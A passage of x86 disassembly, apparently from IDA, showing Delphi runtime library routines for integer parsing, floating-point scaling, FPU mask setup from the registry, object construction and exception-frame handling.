; =============== S U B R O U T I N E =======================================
sub_4000379C proc near ; CODE XREF: sub_40007DD4+6p
; sub_40007DEC+Bp ...
push ebx
push esi
push edi
mov esi, eax
push eax
test eax, eax
jz short loc_40003812
xor eax, eax
xor ebx, ebx
mov edi, 0CCCCCCCh
loc_400037AF: ; CODE XREF: sub_4000379C+19j
mov bl, [esi]
inc esi
cmp bl, 20h
jz short loc_400037AF
mov ch, 0
cmp bl, 2Dh
jz short loc_40003820
cmp bl, 2Bh
jz short loc_40003822
loc_400037C3: ; CODE XREF: sub_4000379C+89j
cmp bl, 24h
jz short loc_40003827
cmp bl, 78h
jz short loc_40003827
cmp bl, 58h
jz short loc_40003827
cmp bl, 30h
jnz short loc_400037EA
mov bl, [esi]
inc esi
cmp bl, 78h
jz short loc_40003827
cmp bl, 58h
jz short loc_40003827
test bl, bl
jz short loc_40003808
jmp short loc_400037EE
; ---------------------------------------------------------------------------
loc_400037EA: ; CODE XREF: sub_4000379C+39j
test bl, bl
jz short loc_4000381B
loc_400037EE: ; CODE XREF: sub_4000379C+4Cj
; sub_4000379C+6Aj
sub bl, 30h
cmp bl, 9
ja short loc_4000381B
cmp eax, edi
ja short loc_4000381B
lea eax, [eax+eax*4]
add eax, eax
add eax, ebx
mov bl, [esi]
inc esi
test bl, bl
jnz short loc_400037EE
loc_40003808: ; CODE XREF: sub_4000379C+4Aj
dec ch
jz short loc_40003815
test eax, eax
jge short loc_40003864
jmp short loc_4000381B
; ---------------------------------------------------------------------------
loc_40003812: ; CODE XREF: sub_4000379C+8j
; sub_4000379C+95j
inc esi
jmp short loc_4000381B
; ---------------------------------------------------------------------------
loc_40003815: ; CODE XREF: sub_4000379C+6Ej
neg eax
jle short loc_40003864
js short loc_40003864
loc_4000381B: ; CODE XREF: sub_4000379C+50j
; sub_4000379C+58j ...
pop ebx
sub esi, ebx
jmp short loc_40003867
; ---------------------------------------------------------------------------
loc_40003820: ; CODE XREF: sub_4000379C+20j
inc ch
loc_40003822: ; CODE XREF: sub_4000379C+25j
mov bl, [esi]
inc esi
jmp short loc_400037C3
; ---------------------------------------------------------------------------
loc_40003827: ; CODE XREF: sub_4000379C+2Aj
; sub_4000379C+2Fj ...
mov edi, 0FFFFFFFh
mov bl, [esi]
inc esi
test bl, bl
jz short loc_40003812
loc_40003833: ; CODE XREF: sub_4000379C+C0j
cmp bl, 61h
jb short loc_4000383B
sub bl, 20h
loc_4000383B: ; CODE XREF: sub_4000379C+9Aj
sub bl, 30h
cmp bl, 9
jbe short loc_4000384E
sub bl, 11h
cmp bl, 5
ja short loc_4000381B
add bl, 0Ah
loc_4000384E: ; CODE XREF: sub_4000379C+A5j
cmp eax, edi
ja short loc_4000381B
shl eax, 4
add eax, ebx
mov bl, [esi]
inc esi
test bl, bl
jnz short loc_40003833
dec ch
jnz short loc_40003864
neg eax
loc_40003864: ; CODE XREF: sub_4000379C+72j
; sub_4000379C+7Bj ...
pop ecx
xor esi, esi
loc_40003867: ; CODE XREF: sub_4000379C+82j
mov [edx], esi
pop edi
pop esi
pop ebx
retn
sub_4000379C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40003870 proc near ; CODE XREF: sub_40008B01+58p
; sub_40008D00+85p
jmp sub_40003878
sub_40003870 endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40003878 proc near ; CODE XREF: sub_40003870j
push ebx
xor ebx, ebx
test eax, eax
jl short loc_400038CC
jz loc_4000391F
cmp eax, 1400h
jge loc_40003911
mov edx, eax
and edx, 1Fh
lea edx, [edx+edx*4]
fld ds:tbyte_4000392B[ebx+edx*2]
fmulp st(1), st
shr eax, 5
jz short loc_4000391F
mov edx, eax
and edx, 0Fh
jz short loc_400038B9
lea edx, [edx+edx*4]
fld tbyte ptr ds:byte_40003A61[ebx+edx*2]
fmulp st(1), st
loc_400038B9: ; CODE XREF: sub_40003878+33j
shr eax, 4
jz short loc_4000391F
lea eax, [eax+eax*4]
fld ds:tbyte_40003AF7[ebx+eax*2]
fmulp st(1), st
jmp short loc_4000391F
; ---------------------------------------------------------------------------
loc_400038CC: ; CODE XREF: sub_40003878+5j
neg eax
cmp eax, 1400h
jge short loc_4000391B
mov edx, eax
and edx, 1Fh
lea edx, [edx+edx*4]
fld ds:tbyte_4000392B[ebx+edx*2]
fdivp st(1), st
shr eax, 5
jz short loc_4000391F
mov edx, eax
and edx, 0Fh
jz short loc_400038FE
lea edx, [edx+edx*4]
fld tbyte ptr ds:byte_40003A61[ebx+edx*2]
fdivp st(1), st
loc_400038FE: ; CODE XREF: sub_40003878+78j
shr eax, 4
jz short loc_4000391F
lea eax, [eax+eax*4]
fld ds:tbyte_40003AF7[ebx+eax*2]
fdivp st(1), st
jmp short loc_4000391F
; ---------------------------------------------------------------------------
loc_40003911: ; CODE XREF: sub_40003878+12j
fstp st
fld ds:tbyte_40003921[ebx]
jmp short loc_4000391F
; ---------------------------------------------------------------------------
loc_4000391B: ; CODE XREF: sub_40003878+5Bj
fstp st
fldz
loc_4000391F: ; CODE XREF: sub_40003878+7j
; sub_40003878+2Cj ...
pop ebx
retn
sub_40003878 endp
; ---------------------------------------------------------------------------
tbyte_40003921 dt 1.1897314953572317651e4932 ; DATA XREF: sub_40003878+9Br
tbyte_4000392B dt 1.0 ; DATA XREF: sub_40003878+20r
; sub_40003878+65r
align 4
dd 0
dd 4002A0h, 0
dd 5C80000h, 40h, 0
dd 4008FAh, 0
dd 0C9C4000h, 40h, 50000000h, 400FC3h, 0
dd 12F42400h, 40h, 96800000h, 401698h, 0
dd 19BEBC20h, 40h, 6B280000h, 401CEEh, 0
dd 209502F9h, 40h, 43B74000h, 4023BAh, 10000000h, 26E8D4A5h
dd 40h, 84E72A00h, 402A91h, 0F4800000h, 2DB5E620h, 40h
dd 5FA931A0h, 4030E3h, 0BF040000h, 348E1BC9h, 40h, 0A2BC2EC5h
dd 4037B1h, 3A764000h, 3ADE0B6Bh, 0E8000040h, 0C7230489h
dd 403E8Ah, 0C5AC6200h, 41AD78EBh, 7A800040h, 0D726B717h
dd 4044D8h, 326EAC90h, 48878678h, 57B40040h, 68163F0Ah
dd 404BA9h, 0CECCEDA1h, 4ED3C21Bh, 1484A040h, 59516140h
dd 0C8405284h, 0B99019A5h, 55A56FA5h, 200F3A40h, 0CB8F27F4h
dd 844058CEh, 78F89409h, 5C813F39h, 0B90BE540h, 8F07D736h
dd 0DF405FA1h, 0CD04674Eh, 62C9F2C9h
db 40h
byte_40003A61 db 96h ; DATA XREF: sub_40003878+38r
; sub_40003878+7Dr
dw 8122h
dd 6F7C4045h, 9E4065FCh, 0A82B70B5h, 699DC5ADh, 0CFA6D540h
dd 781F49FFh, 0A340D3C2h, 16C59B14h, 3DEFB3ABh, 0E98CE041h
dd 0BA47C980h, 0AA41A893h, 2B7FE617h, 12B616A1h, 27556B42h
dd 70F78D39h, 30427CE0h, 0FFE33CC9h, 0E78A5296h, 0F9DE8E42h
dd 7EEBFB9Dh, 8C4351AAh, 195C6A2Fh, 0BBD226FCh, 0CCE37643h
dd 842F29F2h, 0D2442681h, 0DB900Ah, 909FA427h, 0F8AA1744h
dd 0C5E310AEh, 5944FAC4h, 7E9B09Ch, 64F28A9Ch, 0F7F3D445h
dd 7A4AE1EBh
db 95h, 0CFh, 45h
tbyte_40003AF7 dt 9.9999999999999999996e479 ; DATA XREF: sub_40003878+49r
; sub_40003878+8Er
db 0C7h, 91h, 0Eh
dd 19A0AEA6h, 1746A3E3h, 8681750Ch, 48C97675h, 93A7E44Dh
dd 0B8353B39h, 0E553EDB2h, 5DC53D5Dh, 929E8B3Bh, 0A1F0A65Ah
dd 0A554C020h, 8B61378Ch, 25D88B5Ah, 0DBF9895Dh, 27F3F867h
dd 5DC8A2BFh, 9B6E80DDh, 28A2097h, 25C46052h, 0D559F075h
dd 3511626Eh, 0C37BCAAEh
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40003B5C proc near ; CODE XREF: sub_40003B64+5p
; sub_40003B64+11p
jmp ds:dword_400243FC
sub_40003B5C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40003B64 proc near ; CODE XREF: .itext:4001903Ep
push ebx
xor ebx, ebx
push 0
call sub_40003B5C ; GetKeyboardType
cmp eax, 7
jnz short loc_40003B8F
push 1
call sub_40003B5C ; GetKeyboardType
and eax, 0FF00h
cmp eax, 0D00h
jz short loc_40003B8D
cmp eax, 400h
jnz short loc_40003B8F
loc_40003B8D: ; CODE XREF: sub_40003B64+20j
mov bl, 1
loc_40003B8F: ; CODE XREF: sub_40003B64+Dj
; sub_40003B64+27j
mov eax, ebx
pop ebx
retn
sub_40003B64 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40003B94 proc near ; CODE XREF: .itext:40019047p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
movzx eax, word_4001A024
mov [ebp+var_8], eax
lea eax, [ebp+var_4]
push eax
push 1
push 0
push offset aSoftwareBorlan ; "SOFTWARE\\Borland\\Delphi\\RTL"
push 80000002h
call sub_40001240 ; RegOpenKeyExA
test eax, eax
jnz short loc_40003C0C
xor eax, eax
push ebp
push offset loc_40003C05
push dword ptr fs:[eax]
mov fs:[eax], esp
mov [ebp+var_C], 4
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_8]
push eax
push 0
push 0
push offset aFpumaskvalue ; "FPUMaskValue"
mov eax, [ebp+var_4]
push eax
call sub_40001248 ; RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40003C0C
loc_40003BFB: ; CODE XREF: sub_40003B94+76j
mov eax, [ebp+var_4]
push eax
call sub_40001238 ; RegCloseKey
retn
; ---------------------------------------------------------------------------
loc_40003C05: ; DATA XREF: sub_40003B94+2Eo
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40003BFB
; ---------------------------------------------------------------------------
loc_40003C0C: ; CODE XREF: sub_40003B94+29j
; DATA XREF: sub_40003B94+62o
movzx eax, word_4001A024
and ax, 0FFC0h
movzx edx, word ptr [ebp+var_8]
and dx, 3Fh
or ax, dx
mov word_4001A024, ax
mov esp, ebp
pop ebp
retn
sub_40003B94 endp
; ---------------------------------------------------------------------------
aSoftwareBorlan db 'SOFTWARE\Borland\Delphi\RTL',0 ; DATA XREF: sub_40003B94+18o
aFpumaskvalue db 'FPUMaskValue',0 ; DATA XREF: sub_40003B94+4Co
align 4
; =============== S U B R O U T I N E =======================================
sub_40003C58 proc near ; CODE XREF: sub_400040D8+20p
; .text:4000445Ep ...
fninit
wait
fldcw word_4001A024
retn
sub_40003C58 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40003C64 proc near ; CODE XREF: sub_4000ED90+E2p
; sub_4000ED90+103p ...
mov al, 4
jmp sub_40002D50
sub_40003C64 endp
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_40003C6C proc near ; CODE XREF: sub_40002540+28Fp
; sub_4000ADE0+FFp ...
push esi
push edi
mov edi, edx
mov esi, [eax-2Ch]
xor ecx, ecx
mov cl, [esi]
inc ecx
rep movsb
pop edi
pop esi
retn
sub_40003C6C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40003C80 proc near ; CODE XREF: sub_40006264p
; DATA XREF: .text:4000105Co ...
push ebx
mov ebx, eax
mov eax, ebx
call sub_40003CB0
call sub_40002C20
mov edx, eax
mov eax, ebx
call sub_40003CF4
pop ebx
retn
sub_40003C80 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40003C9C proc near ; CODE XREF: sub_4000B204+6p
; DATA XREF: .text:40001060o ...
push ebx
mov ebx, eax
mov eax, ebx
call sub_40003D4C
mov eax, ebx
call sub_40002C3C
pop ebx
retn
sub_40003C9C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40003CB0 proc near ; CODE XREF: sub_40003C80+5p
add eax, 0FFFFFFD8h
mov eax, [eax]
retn
sub_40003CB0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40003CB8 proc near ; CODE XREF: sub_4000C69C+16p
; sub_4000C69C+50p ...
test dl, dl
jz short loc_40003CC4
add esp, 0FFFFFFF0h
call sub_40003F30
loc_40003CC4: ; CODE XREF: sub_40003CB8+2j
test dl, dl
jz short locret_40003CD7
call sub_40003F88
pop large dword ptr fs:0
add esp, 0Ch
locret_40003CD7: ; CODE XREF: sub_40003CB8+Ej
retn
sub_40003CB8 endp
; =============== S U B R O U T I N E =======================================
sub_40003CD8 proc near ; CODE XREF: sub_4000C55C+3Dp
; sub_4000C710+19p ...
call sub_40003FD8
test dl, dl
jle short locret_40003CE6
call sub_40003F80
locret_40003CE6: ; CODE XREF: sub_40003CD8+7j
retn
sub_40003CD8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40003CE8 proc near ; CODE XREF: sub_400040D8+11Fj
; .text:4000429Fj ...
test eax, eax
jz short locret_40003CF3
mov dl, 1
mov ecx, [eax]
call dword ptr [ecx-4]
locret_40003CF3: ; CODE XREF: sub_40003CE8+2j
retn
sub_40003CE8 endp
; =============== S U B R O U T I N E =======================================
sub_40003CF4 proc near ; CODE XREF: sub_40003C80+13p
push ebx
push esi
push edi
mov ebx, eax
mov edi, edx
stosd
mov ecx, [ebx-28h]
xor eax, eax
push ecx
shr ecx, 2
dec ecx
rep stosd
pop ecx
and ecx, 3
rep stosb
mov eax, edx
mov edx, esp
loc_40003D12: ; CODE XREF: sub_40003CF4+2Fj
mov ecx, [ebx-48h]
test ecx, ecx
jz short loc_40003D1A
push ecx
loc_40003D1A: ; CODE XREF: sub_40003CF4+23j
mov ebx, [ebx-24h]
test ebx, ebx
jz short loc_40003D25
mov ebx, [ebx]
jmp short loc_40003D12
; ---------------------------------------------------------------------------
loc_40003D25: ; CODE XREF: sub_40003CF4+2Bj
cmp esp, edx
jz short loc_40003D46
loc_40003D29: ; CODE XREF: sub_40003CF4+50j
pop ebx
mov ecx, [ebx]
add ebx, 4
loc_40003D2F: ; CODE XREF: sub_40003CF4+4Cj
mov esi, [ebx+10h]
test esi, esi
jz short loc_40003D3C
mov edi, [ebx+14h]
mov [edi+eax], esi
loc_40003D3C: ; CODE XREF: sub_40003CF4+40j
add ebx, 1Ch
dec ecx
jnz short loc_40003D2F
cmp esp, edx
jnz short loc_40003D29
loc_40003D46: ; CODE XREF: sub_40003CF4+33j
pop edi
pop esi
pop ebx
retn
sub_40003CF4 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40003D4C proc near ; CODE XREF: sub_40003C9C+5p
push ebx
push esi
mov ebx, eax
mov esi, eax
loc_40003D52: ; CODE XREF: sub_40003D4C+1Bj
mov esi, [esi]
mov edx, [esi-40h]
mov esi, [esi-24h]
test edx, edx
jz short loc_40003D65
call sub_400052C8
mov eax, ebx
loc_40003D65: ; CODE XREF: sub_40003D4C+10j
test esi, esi
jnz short loc_40003D52
pop esi
pop ebx
retn
sub_40003D4C endp
; =============== S U B R O U T I N E =======================================
sub_40003D6C proc near ; CODE XREF: sub_40003D9C+59p
xchg edx, ecx
cmp ecx, 0FF000000h
jnb short loc_40003D87
cmp ecx, 0FE000000h
jb short loc_40003D85
movsx ecx, cx
add ecx, [eax]
jmp dword ptr [ecx]
; ---------------------------------------------------------------------------
loc_40003D85: ; CODE XREF: sub_40003D6C+10j
jmp ecx
; ---------------------------------------------------------------------------
loc_40003D87: ; CODE XREF: sub_40003D6C+8j
and ecx, 0FFFFFFh
add ecx, eax
mov eax, edx
mov edx, [ecx]
jmp sub_4000621C
sub_40003D6C endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40003D9C proc near ; CODE XREF: .text:40006283p
; sub_400123C8+A0p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFF8h
push ebx
push esi
push edi
xor ebx, ebx
mov [ebp+var_8], ebx
mov esi, ecx
mov [ebp+var_4], edx
mov edi, eax
xor eax, eax
push ebp
push offset loc_40003E20
push dword ptr fs:[eax]
mov fs:[eax], esp
xor eax, eax
mov [esi], eax
mov edx, [ebp+var_4]
mov eax, [edi]
call sub_40003E30
mov ebx, eax
test ebx, ebx
jz short loc_40003E04
mov eax, [ebx+14h]
test eax, eax
jz short loc_40003DED
add edi, eax
mov [esi], edi
cmp dword ptr [esi], 0
jz short loc_40003E04
mov eax, [esi]
push eax
mov eax, [eax]
call dword ptr [eax+4]
jmp short loc_40003E04
; ---------------------------------------------------------------------------
loc_40003DED: ; CODE XREF: sub_40003D9C+3Cj
lea ecx, [ebp+var_8]
mov edx, [ebx+18h]
mov eax, edi
call sub_40003D6C
mov edx, [ebp+var_8]
mov eax, esi
call sub_4000621C
loc_40003E04: ; CODE XREF: sub_40003D9C+35j
; sub_40003D9C+45j ...
cmp dword ptr [esi], 0
setnz bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40003E27
loc_40003E17: ; CODE XREF: sub_40003D9C+89j
lea eax, [ebp+var_8]
call sub_40006204
retn
; ---------------------------------------------------------------------------
loc_40003E20: ; DATA XREF: sub_40003D9C+18o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40003E17
; ---------------------------------------------------------------------------
loc_40003E27: ; CODE XREF: sub_40003D9C+83j
; DATA XREF: sub_40003D9C+76o
mov eax, ebx
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
retn
sub_40003D9C endp
; =============== S U B R O U T I N E =======================================
sub_40003E30 proc near ; CODE XREF: sub_40003D9C+2Cp
push ebx
push esi
mov ebx, eax
loc_40003E34: ; CODE XREF: sub_40003E30+3Dj
mov eax, [ebx-48h]
test eax, eax
jz short loc_40003E64
mov ecx, [eax]
add eax, 4
loc_40003E40: ; CODE XREF: sub_40003E30+32j
mov esi, [edx]
cmp esi, [eax]
jnz short loc_40003E5E
mov esi, [edx+4]
cmp esi, [eax+4]
jnz short loc_40003E5E
mov esi, [edx+8]
cmp esi, [eax+8]
jnz short loc_40003E5E
mov esi, [edx+0Ch]
cmp esi, [eax+0Ch]
jz short loc_40003E71
loc_40003E5E: ; CODE XREF: sub_40003E30+14j
; sub_40003E30+1Cj ...
add eax, 1Ch
dec ecx
jnz short loc_40003E40
loc_40003E64: ; CODE XREF: sub_40003E30+9j
mov ebx, [ebx-24h]
test ebx, ebx
jz short loc_40003E6F
mov ebx, [ebx]
jmp short loc_40003E34
; ---------------------------------------------------------------------------
loc_40003E6F: ; CODE XREF: sub_40003E30+39j
xor eax, eax
loc_40003E71: ; CODE XREF: sub_40003E30+2Cj
pop esi
pop ebx
retn
sub_40003E30 endp
; =============== S U B R O U T I N E =======================================
sub_40003E74 proc near ; CODE XREF: sub_4000ADE0+A8p
; sub_4000B654+94p ...
push ebx
push esi
mov esi, edx
mov ebx, eax
test ebx, ebx
jz short loc_40003E8B
mov edx, esi
mov eax, [ebx]
call sub_40003EE0
test al, al
jnz short loc_40003E90
loc_40003E8B: ; CODE XREF: sub_40003E74+8j
xor eax, eax
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40003E90: ; CODE XREF: sub_40003E74+15j
mov al, 1
pop esi
pop ebx
retn
sub_40003E74 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40003E98 proc near ; CODE XREF: sub_40003EC8+4p
; sub_40003F08+13p
push edi
xchg eax, esi
jmp short loc_40003E9E
; ---------------------------------------------------------------------------
loc_40003E9C: ; CODE XREF: sub_40003E98+1Fj
mov esi, [esi]
loc_40003E9E: ; CODE XREF: sub_40003E98+2j
mov edi, [esi-30h]
test edi, edi
jz short loc_40003EB2
movzx ecx, word ptr [edi]
push ecx
add edi, 2
repne scasw
jz short loc_40003EBB
pop ecx
loc_40003EB2: ; CODE XREF: sub_40003E98+Bj
mov esi, [esi-24h]
test esi, esi
jnz short loc_40003E9C
pop edi
retn
; ---------------------------------------------------------------------------
loc_40003EBB: ; CODE XREF: sub_40003E98+17j
pop eax
add eax, eax
sub eax, ecx
mov esi, [edi+eax*2-4]
pop edi
retn
sub_40003E98 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40003EC8 proc near ; CODE XREF: sub_40013C30+43p
; sub_40013C30+52p ...
push eax
push ecx
mov eax, [eax]
call sub_40003E98
pop ecx
pop eax
jz short loc_40003ED7
jmp esi
; ---------------------------------------------------------------------------
loc_40003ED7: ; CODE XREF: sub_40003EC8+Bj
pop ecx
jmp sub_400030B4
sub_40003EC8 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40003EE0 proc near ; CODE XREF: sub_40003E74+Ep
jmp short loc_40003EE4
; ---------------------------------------------------------------------------
loc_40003EE2: ; CODE XREF: sub_40003EE0+Dj
mov eax, [eax]
loc_40003EE4: ; CODE XREF: sub_40003EE0j
cmp eax, edx
jz short loc_40003EF0
mov eax, [eax-24h]
test eax, eax
jnz short loc_40003EE2
retn
; ---------------------------------------------------------------------------
loc_40003EF0: ; CODE XREF: sub_40003EE0+6j
mov al, 1
retn
sub_40003EE0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40003EF4 proc near ; DATA XREF: .text:40001048o
; .text:4000110Co ...
mov eax, 8000FFFFh
retn
sub_40003EF4 endp
; ---------------------------------------------------------------------------
align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
align 4
; =============== S U B R O U T I N E =======================================
sub_40003F08 proc near ; DATA XREF: .text:40001054o
; .text:40001118o ...
push esi
mov si, [edx]
or si, si
jz short loc_40003F28
cmp si, 0C000h
jnb short loc_40003F28
push eax
mov eax, [eax]
call sub_40003E98
pop eax
jz short loc_40003F28
mov ecx, esi
pop esi
jmp ecx
; ---------------------------------------------------------------------------
loc_40003F28: ; CODE XREF: sub_40003F08+7j
; sub_40003F08+Ej ...
pop esi
mov ecx, [eax]
jmp dword ptr [ecx-10h]
sub_40003F08 endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40003F30 proc near ; CODE XREF: sub_40003CB8+7p
; sub_4000B030+Ap ...
arg_0 = byte ptr 4
push edx
push ecx
push ebx
test dl, dl
jl short loc_40003F3A
call dword ptr [eax-0Ch]
loc_40003F3A: ; CODE XREF: sub_40003F30+5j
xor edx, edx
lea ecx, [esp+0Ch+arg_0]
mov ebx, fs:[edx]
mov [ecx], ebx
mov [ecx+8], ebp
mov dword ptr [ecx+4], offset sub_40003F59
mov [ecx+0Ch], eax
mov fs:[edx], ecx
pop ebx
pop ecx
pop edx
retn
sub_40003F30 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40003F59 proc near ; DATA XREF: sub_40003F30+18o
jmp sub_400040D8
sub_40003F59 endp
; ---------------------------------------------------------------------------
mov eax, [esp+2Ch]
mov eax, [eax+0Ch]
test eax, eax
jz short loc_40003F77
mov ecx, [eax]
mov dl, 81h
push eax
call dword ptr [ecx-4]
pop eax
call sub_40003F80
loc_40003F77: ; CODE XREF: .text:40003F67j
call sub_4000430C
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40003F80 proc near ; CODE XREF: sub_40003CD8+9p
; .text:40003F72p ...
mov edx, [eax]
call dword ptr [edx-8]
retn
sub_40003F80 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40003F88 proc near ; CODE XREF: sub_40003CB8+10p
; sub_4000B030+25p ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov [ebp+var_4], eax
xor edx, edx
push ebp
push offset loc_40003FB7
push dword ptr fs:[edx]
mov fs:[edx], esp
mov eax, [ebp+var_4]
mov edx, [eax]
call dword ptr [edx-1Ch]
mov eax, [ebp+var_4]
pop large dword ptr fs:0
add esp, 8
jmp short loc_40003FD0
; ---------------------------------------------------------------------------
loc_40003FB7: ; DATA XREF: sub_40003F88+Do
jmp sub_400040D8
; ---------------------------------------------------------------------------
mov dl, 1
mov eax, [ebp+var_4]
call sub_40003FD8
call sub_4000430C
call sub_40004360
loc_40003FD0: ; CODE XREF: sub_40003F88+2Dj
pop edi
pop esi
pop ebx
pop ecx
pop ebp
retn
sub_40003F88 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40003FD8 proc near ; CODE XREF: sub_40003CD8p
; sub_40003F88+39p ...
test dl, dl
jg short loc_40003FDD
retn
; ---------------------------------------------------------------------------
loc_40003FDD: ; CODE XREF: sub_40003FD8+2j
push eax
push edx
mov edx, [eax]
call dword ptr [edx-18h]
pop edx
pop eax
retn
sub_40003FD8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40003FE8 proc near ; CODE XREF: sub_4000430C+35p
cmp byte_4001A028, 1
jbe short locret_40004002
push 0
push 0
push 0
push 0EEDFADFh
call ds:off_4001C014
locret_40004002: ; CODE XREF: sub_40003FE8+7j
retn
sub_40003FE8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40004004 proc near ; CODE XREF: sub_400040D8+4Dp
cmp byte_4001A028, 0
jz short locret_40004024
push eax
push eax
push edx
push esp
push 2
push 0
push 0EEDFAE4h
call ds:off_4001C014
add esp, 8
pop eax
locret_40004024: ; CODE XREF: sub_40004004+7j
retn
sub_40004004 endp
; ---------------------------------------------------------------------------
align 4
; START OF FUNCTION CHUNK FOR sub_40004040
loc_40004028: ; CODE XREF: sub_40004040+Bj
push esp
push 1
push 0
push 0EEDFAE0h
call ds:off_4001C014
add esp, 4
pop eax
retn
; END OF FUNCTION CHUNK FOR sub_40004040
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40004040 proc near ; CODE XREF: sub_400040D8+FDp
; FUNCTION CHUNK AT 40004028 SIZE 00000015 BYTES
cmp byte_4001A028, 1
jbe short locret_40004050
push eax
push ebx
jmp loc_40004028
; ---------------------------------------------------------------------------
locret_40004050: ; CODE XREF: sub_40004040+7j
retn
sub_40004040 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40004054 proc near ; CODE XREF: sub_40004074+Cp
test ecx, ecx
jz short locret_40004071
mov eax, [ecx+1]
cmp byte ptr [ecx], 0E9h
jz short loc_4000406C
cmp byte ptr [ecx], 0EBh
jnz short locret_40004071
movsx eax, al
inc ecx
inc ecx
jmp short loc_4000406F
; ---------------------------------------------------------------------------
loc_4000406C: ; CODE XREF: sub_40004054+Aj
add ecx, 5
loc_4000406F: ; CODE XREF: sub_40004054+16j
add ecx, eax
locret_40004071: ; CODE XREF: sub_40004054+2j
; sub_40004054+Fj
retn
sub_40004054 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40004074 proc near ; CODE XREF: sub_40016280-12027p
; sub_400042AC+25p
cmp byte_4001A028, 1
jbe short locret_4000409A
push eax
push edx
push ecx
call sub_40004054
push ecx
push esp
push 1
push 0
push 0EEDFAE1h
call ds:off_4001C014
pop ecx
pop ecx
pop edx
pop eax
locret_4000409A: ; CODE XREF: sub_40004074+7j
retn
sub_40004074 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4000409C proc near ; CODE XREF: sub_40004360+28p
cmp byte_4001A028, 1
jbe short locret_400040B7
push edx
push esp
push 1
push 0
push 0EEDFAE2h
call ds:off_4001C014
pop edx
locret_400040B7: ; CODE XREF: sub_4000409C+7j
retn
sub_4000409C endp
; =============== S U B R O U T I N E =======================================
sub_400040B8 proc near ; CODE XREF: .text:loc_400044A5p
push eax
push edx
cmp byte_4001A028, 1
jbe short loc_400040D3
push esp
push 2
push 0
push 0EEDFAE3h
call ds:off_4001C014
loc_400040D3: ; CODE XREF: sub_400040B8+9j
pop edx
pop eax
retn
sub_400040B8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400040D8 proc near ; CODE XREF: sub_40003F59j
; sub_40003F88:loc_40003FB7j ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_24 = dword ptr 28h
mov eax, [esp+arg_0]
test dword ptr [eax+4], 6
jnz loc_400041FC
cmp dword ptr [eax], 0EEDFADEh
mov edx, [eax+18h]
mov ecx, [eax+14h]
jz short loc_40004165
cld
call sub_40003C58
mov edx, ds:off_4001C010
test edx, edx
jz loc_400041FC
call edx ; sub_4000B654
test eax, eax
jz loc_400041FC
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
cmp dword ptr [ecx], 0EEFFACEh
jz short loc_4000415C
call sub_40004004
